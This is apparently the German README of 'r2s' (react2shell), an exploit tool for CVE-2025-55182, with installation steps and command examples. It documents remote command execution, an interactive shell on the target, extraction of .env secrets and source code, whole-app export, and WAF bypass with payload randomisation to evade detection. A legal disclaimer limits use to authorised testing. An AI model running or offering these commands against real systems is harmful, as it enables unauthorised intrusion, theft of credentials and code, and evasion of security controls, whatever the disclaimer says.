---

## ⚠️ Rechtlicher Haftungsausschluss

**WICHTIG: LESEN SIE DIES, BEVOR SIE DIESES WERKZEUG VERWENDEN**

1. **Dieses Werkzeug ist AUSSCHLIESSLICH für LEGITIME SICHERHEITSTESTS vorgesehen**
   - ✅ Testen Sie Ihre eigenen Anwendungen
   - ✅ Testen Sie Anwendungen, für die Sie eine schriftliche Erlaubnis haben
   - ✅ Bildungszwecke und Sicherheitsforschung
   - ❌ **Niemals auf Systemen verwenden, die Ihnen nicht gehören oder für die Sie keine Testberechtigung haben**
   - ❌ **Niemals für böswillige Zwecke verwenden**

2. **Durch die Nutzung dieses Werkzeugs stimmen Sie Folgendem zu:**
   - Sie werden es nur auf Systemen verwenden, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Testgenehmigung haben
   - Ihnen ist bewusst, dass unbefugter Zugriff auf Computersysteme illegal ist
   - Sie übernehmen die volle Verantwortung für Ihre Handlungen
   - Die Autoren sind nicht verantwortlich für jeglichen Missbrauch dieses Werkzeugs

3. **Rechtliche Konsequenzen:**
   - Unbefugter Zugriff auf Computersysteme ist in den meisten Ländern eine Straftat
   - Ihnen drohen strafrechtliche Anklage, Geldstrafen und Freiheitsentzug
   - Holen Sie vor dem Testen immer eine schriftliche Genehmigung ein

4. **Dieses Werkzeug wird "WIE BESEHEN" ohne jegliche Gewährleistung bereitgestellt**

**Wenn Sie unter 18 Jahre alt sind, stellen Sie sicher, dass Sie eine erwachsene Aufsicht und Erlaubnis haben, bevor Sie dieses Werkzeug verwenden.**

---

## ✨ Funktionen

### Kernfunktionen
- 🔍 **Schwachstellenerkennung** - Schnell testen, ob ein Server für CVE-2025-55182 anfällig ist
- 💻 **Interaktive Shell** - Vollständige interaktive Shell-Sitzung über HTTPS mit Befehlsverlauf
- 📁 **Dateioperationen** - Verzeichnisse auflisten, Dateien lesen und Dateien/Archive exportieren
- 🔐 **Geheimnisextraktion** - Versuchen, Anwendungsgeheimnisse zu lesen (.env-Dateien, Konfigurationsdateien)
- 📄 **Codextraktion** - Versuchen, Anwendungsquellcode zu lesen
- 🖥️ **Systeminformationen** - OS-Info, Hostname, Benutzer und Umgebungsvariablen sammeln

### Erweiterte Funktionen
- 🚀 **Auto-Warming-Payloads** - Optimiert Payloads automatisch für beste Ergebnisse
- ⚡ **Parallele Ausführung** - Mehrere Befehle gleichzeitig ausführen
- 🎲 **Payload-Randomisierung** - Erkennung mit dynamischen Payloads umgehen
- 🛠️ **Exploit-Module** - Module im Metasploit-Stil (env_dump, file_search, network_scan, process_list)
- 🔄 **Weiterleitungsbehandlung** - Folgt automatisch HTTP-Weiterleitungen (301, 302, 303, 307, 308)
- 🎨 **Schöne Benutzeroberfläche** - Farbcodierte Ausgabe für einfaches Lesen
- 📊 **Umfassende Berichterstattung** - Berichte automatisch in den Formaten JSON, HTML, TXT mit operationsspezifischen Formatierern speichern
- ⚙️ **Konfigurationssystem** - JSON-basierte Konfiguration mit interaktivem Einstellungsbereich
- 📦 **Exportfunktion** - Einzelne Dateien oder gesamte App-Verzeichnisse als ZIP-Archive exportieren
- 🔒 **WAF-Umgehung** - Mehrere Umgehungstechniken (⚠️ Nicht garantiert – siehe Einschränkungen unten)

### Berichterstattung & Protokollierung
- 📝 **Automatisch Berichte speichern** - Berichte automatisch in `~/.r2s/reports/` mit menschenlesbaren Zeitstempeln speichern
- 📋 **Operationsspezifische Formate** - Verschiedene Berichtsformate für verschiedene Operationen (Shell, Test, Secrets usw.)
- 📜 **Befehlsverlauf** - Dauerhafter Befehlsverlauf, gespeichert in `~/.r2s/history`
- 🔍 **Prüfpfade** - Detaillierte Protokollierung aller Operationen in `~/.r2s/logs/audit.log`
- 🎨 **HTML-Berichte** - Schöne HTML-Berichte mit Dunkel-/Hellmodus, Kopierschaltflächen und Codeblöcken

---

## 📦 Installation

### Option 1: Aus dem Quellcode erstellen (Empfohlen)

1. **Repository klonen:**   ```bash
   git clone https://github.com/zamdevio/r2s.git
   cd r2s

---
## 🚀 Schnellstart

### Einfacher Schwachstellentest```bash
# Test if a server is vulnerable
r2s -u http://localhost:3000 -t

# With verbose output for more details
r2s -u http://localhost:3000 -t -v

### Lokal testen

Siehe [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) für Anleitungen zum lokalen Ausführen der angreifbaren App.

---

## 📚 Anwendungsbeispiele

### Kurzer Befehlsreferenz

**Häufigste Befehle:**
- `r2s -u URL -t` - Auf Schwachstelle testen (am häufigsten)
- `r2s -u URL --shell` - Interaktive Shell starten
- `r2s --targets FILE -t` - Batch-Scan mehrerer Ziele
- `r2s -u URL --system-info` - Systeminformationen abrufen
- `r2s -u URL --secrets` - Versuchen, Geheimnisse zu lesen
- `r2s -u URL --export-archive` - Gesamte App als Zip exportieren

**⚠️ Denken Sie daran**: Verwenden Sie `--windows` nicht, es sei denn, das Ziel ist Windows!

---

### Grundlegende Operationen```bash
# Test vulnerability
r2s -u http://localhost:3000 -t

# List directory contents
r2s -u http://localhost:3000 --list-dir /app

# Read files
r2s -u http://localhost:3000 --read-file .env
r2s -u http://localhost:3000 --read-file package.json

# Get system information
r2s -u http://localhost:3000 --system-info

# Execute custom commands
r2s -u http://localhost:3000 --command "whoami"
r2s -u http://localhost:3000 --command "uname -a"

### Exploit-Module```bash
# List available modules
r2s --list-modules

# Use a module
r2s -u http://localhost:3000 --module env_dump

# Use module with options
r2s -u http://localhost:3000 --module file_search --set pattern="*.env" --set path="/app"

# Get module information
r2s --module-info env_dump

### Geheimnisse & Code-Extraktion```bash
# Attempt to read application secrets
r2s -u http://localhost:3000 --secrets
# Tries: .env, .env.local, .env.production, config.json, etc.

# Attempt to read application source code
r2s -u http://localhost:3000 --code
# Tries: src/**/*.ts, src/**/*.tsx, src/**/*.js, etc.

### Erweiterte Optionen```bash
# Parallel execution (run multiple commands simultaneously)
r2s -u http://localhost:3000 --parallel 5 --command "whoami;id;uname -a"

# WAF bypass (⚠️ Not guaranteed - see limitations below)
r2s -u http://localhost:3000 -t --waf-bypass

# Auto-warm payloads (optimize payloads before execution)
r2s -u http://localhost:3000 -t --auto-warm

# Randomize payloads (evade static detection)
r2s -u http://localhost:3000 --command "whoami" --randomize

# Different header strategies
r2s -u http://localhost:3000 -t --header-strategy chrome_latest
# Options: default, chrome_latest, firefox, minimal, assetnote

# Custom timeout (0 = no timeout)
r2s -u http://localhost:3000 --command "long-running-command" --timeout 0

# Disable SSL verification
r2s -u https://target.com -t --insecure

# Rate limiting (requests per second)
r2s -u http://localhost:3000 -t --rate 2

# Delay between requests (seconds)
r2s -u http://localhost:3000 --command "whoami" --delay 1

### Protokollierung & Audit```bash
# Log all operations to specific file
r2s -u http://localhost:3000 -t --log r2s_session.log

# Create detailed audit trail (saved to ~/.r2s/logs/audit.log)
r2s -u http://localhost:3000 -t --audit

# Combine logging with batch scanning
r2s --targets targets.txt --batch -t --log batch_scan.log --audit

### Berichterstattung```bash
# Reports are auto-saved to ~/.r2s/reports/ by default
# Format: {operation}_{YYYYMMDD_HHMMSS}.{json,html,txt}

# Disable auto-save
r2s -u http://localhost:3000 -t --no-report

# Save to specific location (disables auto-save)
r2s -u http://localhost:3000 -t --output /path/to/report.json

# View reports
ls ~/.r2s/reports/
cat ~/.r2s/reports/test_20251206_120000.html

### 2. Sicherheitsaudit```bash
# Comprehensive security check
r2s -u http://localhost:3000 -t --waf-bypass
r2s -u http://localhost:3000 --system-info
r2s -u http://localhost:3000 --secrets
r2s -u http://localhost:3000 --code
r2s -u http://localhost:3000 --export-archive

Siehe [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) für detaillierte Anweisungen.

---

## 🏗️ Architektur

R2S verwendet eine modulare Architektur für Wartbarkeit und Erweiterbarkeit:```
react2shell/
├── main.py              # Main entry point
├── classes/             # Core classes
│   ├── detector.py     # Target detection
│   ├── executor.py     # Command execution
│   ├── modules.py      # Exploit modules system
│   ├── operations.py   # High-level operations
│   ├── payload.py      # Payload building and randomization
│   └── shell.py        # Interactive shell
├── services/            # Services
│   ├── config.py       # Configuration management (JSON)
│   ├── exporter.py     # File and archive export
│   ├── formatters.py   # Report formatters
│   ├── history.py      # Command history
│   ├── logger.py       # Logging and audit trails
│   ├── proxy.py        # Proxy management
│   └── reporter.py     # Report generation
└── utils/              # Utilities
    ├── colors.py       # Color utilities
    └── helpers.py      # Helper functions

### "Verbindungsfehler"
- Überprüfen Sie, ob der Server läuft
- Überprüfen Sie die URL
- Überprüfen Sie die Firewall-Einstellungen
- Versuchen Sie, das Timeout zu erhöhen: `--timeout 30`

### "Anfrage blockiert"```bash
# Try WAF bypass (⚠️ Not guaranteed - see WAF Bypass Limitations below)
r2s -u https://target.com -t --waf-bypass

# Try different header strategies
r2s -u https://target.com -t --header-strategy chrome_latest
r2s -u https://target.com -t --header-strategy firefox

### Einschränkungen der WAF-Umgehung

**⚠️ Wichtig:** Die WAF-Umgehungstechniken in diesem Tool sind **NICHT garantiert** und haben mehrere Einschränkungen:

- **Nicht universell**: Verschiedene WAFs verwenden unterschiedliche Erkennungsmethoden. Was für eine funktioniert, funktioniert möglicherweise nicht für eine andere.
- **Statische Erkennung**: Einige WAFs verwenden statischen Pattern-Matching, der umgangen werden kann, aber moderne WAFs setzen auf Verhaltensanalyse.
- **Ratenbegrenzung**: Viele WAFs implementieren Ratenbegrenzung, die wiederholte Versuche blockieren kann.
- **Maschinelles Lernen**: Fortschrittliche WAFs verwenden ML-Modelle, die sich anpassen und aus Angriffsmustern lernen.
- **Cloudflare/AWS WAF**: Enterprise-WAFs (Cloudflare, AWS WAF, etc.) sind extrem schwer zu umgehen.
- **Keine Garantien**: Die Umgehungstechniken sind experimentell und können gegen gut konfigurierte WAFs fehlschlagen.

**Bewährte Vorgehensweisen:**
- WAF-Umgehung als letztes Mittel verwenden
- Verschiedene Header-Strategien ausprobieren (`--header-strategy`)
- Mit `--randomize` kombinieren für bessere Ergebnisse
- Verstehen, dass einige Ziele möglicherweise unmöglich zu umgehen sind
- Immer auf Systemen testen, die einem gehören oder für die man eine Testberechtigung hat

### Build-Probleme```bash
# Make sure Python 3.7+ is installed
python3 --version

# Install dependencies
pip install -r requirements.txt

# Clean previous build artifacts
./build.sh cleanup

# Try building again
./build.sh

Dadurch wird Folgendes entfernt:
- `build/` directory (PyInstaller-Build-Dateien)
- `dist/` directory (kompilierte Binärdateien)
- `__pycache__/` directories (Python-Cache, rekursiv)
- `*.pyc` files (kompilierter Python-Bytecode)
- `*.pyo` files (optimierter Python-Bytecode)
- `*.spec` files (PyInstaller-Spezifikationsdateien)

**Hinweis:** Dadurch werden nur Build-Artefakte entfernt, nicht Ihr Quellcode. Die Bereinigung ist sicher und wird vor dem Fortfahren um Bestätigung bitten.

---

## 📁 Dateistruktur```
r2s/
├── README.md                 # This file
├── LICENSE                   # MIT License
├── requirements.txt          # Python dependencies
├── build.sh                  # Build script for standalone binary
├── r2s_entry.py              # PyInstaller entry point
├── react2shell/              # Main package
│   ├── README.md            # Architecture documentation
│   ├── main.py              # Entry point
│   ├── classes/             # Core classes
│   ├── services/            # Services
│   └── utils/               # Utilities
└── nextjs/                   # Testing environment
    └── README.md            # Testing environment documentation